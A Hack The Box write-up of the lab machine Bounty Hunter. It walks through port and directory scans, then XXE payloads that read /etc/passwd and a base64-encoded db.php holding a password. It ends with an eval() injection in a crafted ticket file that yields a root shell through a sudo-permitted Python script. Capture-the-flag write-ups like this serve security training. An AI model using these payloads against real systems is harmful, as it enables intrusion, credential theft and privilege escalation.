Back to Writeups
Easy

Bounty Hunter — Hack The Box Writeup

A walkthrough of Bounty Hunter, an easy difficulty Hack The Box machine involving XXE and privilege escalation via Python eval().

February 13, 2026
HTBXXERCEPrivilege Escalation

Reconnaissance

I ran a Nmap scan using rust first

rustscan -a bountyhunter.htb --ulimit 3000 -- -sC -sV

The scan returned

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
|   256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see the classic 1 http port and ssh port is open. So probably there is going to be a website.

If we look at the http service version:

80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))

This version might be vulnerable.

Let's run a directory scan to see if there are any hidden directories which might be interesting:

gobuster dir -u http://bountyhunter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -t 50    

Directory scan results :

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bountyhunter.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
Progress: 87662 / 87662 (100.00%)
===============================================================
Finished
===============================================================

We were only able to find a bunch of 301s (meaning - 301 status code is a redirection response that indicates the requested resource has been definitively and permanently moved to a new URL).

I looked up http://bountyhunter.htb/resources/:

Directory Listing

I found this which is a directory listing. I'm using wget to download all those files:

wget -m -np http://bountyhunter.htb/resources/

Then I selected some interesting files like the readme and more and used Gemini to analyze it and it revealed quite a lot.

"The files reveal a textbook XXE (XML External Entity) vulnerability chain: bountylog.js shows the site captures form data, wraps it in an XML structure, Base64 encodes it, and sends it to tracker_di_os.php for processing. This is a massive find because you can manipulate that XML to force the server to leak internal files like /etc/passwd or source code. Furthermore, the README.txt confirms a test account is active and currently has "no password," giving you a secondary entry point into the system's "portal"."

Looking at the website I can see there is some kind of portal which is under development with this link to a bug bounty tracker. Which looks like a php app made to upload CVEs. This is the submit form which we found out using those directory files which sends data to the tracker_di_os.php.

Bug Bounty Portal

I fired up Burp then filled the form and submitted while intercepting. I was able to find that it is in fact sending data which is wrapped in XML and encoded in Base64:

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: bountyhunter.htb
Content-Length: 219
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://bountyhunter.htb
Referer: http://bountyhunter.htb/log_submit.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0PC90aXRsZT4KCQk8Y3dlPnRlc3Q8L2N3ZT4KCQk8Y3Zzcz50ZXN0PC9jdnNzPgoJCTxyZXdhcmQ%2BMTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

So now what we have to do is to send our own payload which is a Base64 encoded XML string so the server will return what we want.

I used Gemini to make a payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [ <!ENTITY exploit SYSTEM "file:///etc/passwd"> ]>
<bugreport>
    <title>&exploit;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

And after sending the request to the repeater on Burp I selected the new payload, replaced it, then selected it and pressed ctrl + u to URL encode it.

What this payload did was instruct the server to copy the /etc/passwd file and show it back to us. And it did so we know that the site is vulnerable too.

Exploitation

We can also see a user called development which we might have to find a password for.

So now I'm trying to find if there are any credentials on the server.

To do this I'm using another payload which was generated by Gemini which will effectively try to read db.php and send it back to us Base64 encoded since PHP files execute when read.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [ <!ENTITY exploit SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
    <title>&exploit;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

And we were successfully able to get the expected response which is the db.php Base64 encoded:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

And it leaked hardcoded credentials which is:

Username: development

Password: m19RoAU0hP41A1sTsq6K

Now I will SSH to the machine using those credentials we found:

ssh development@bountyhunter.htb

And we are in!

development@bountyhunter:~$ whoami
development

And the user.txt was there so I used cat to read it:

development@bountyhunter:~$ cat user.txt 
180e0ed42b33f0e226c52b2767852990

Now I'm going to check what this user can run as admin:

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

We can see development can run ticketValidator.py as root with all permissions.

Let's read what's in that python file:

cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The script uses eval() on the "Ticket Code" line. In Python, eval() executes a string as code, and since we can run this script with sudo, any code we inject will run as root.

The Vulnerability Logic

To reach the eval() call, our malicious file must satisfy several checks:

  • File Extension: Must end in .md.
  • Line 1: Must start with # Skytrain Inc.
  • Line 2: Must start with ## Ticket to .
  • The Math: The first number in the ticket code must satisfy the condition number % 7 == 4.

Now I'm going to use this script to create a ticket:

cat << EOF > /tmp/exploit.md
# Skytrain Inc
## Ticket to root
__Ticket Code:__
**11+__import__('os').system('/bin/bash')**
EOF

Then trigger the root shell:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
# When prompted for the path:
/tmp/exploit.md

And we are root!

root@bountyhunter:~# whoami
root

And found the root flag:

root@bountyhunter:~# cat root.txt 
ae0b8231299e78c014354f320ab076e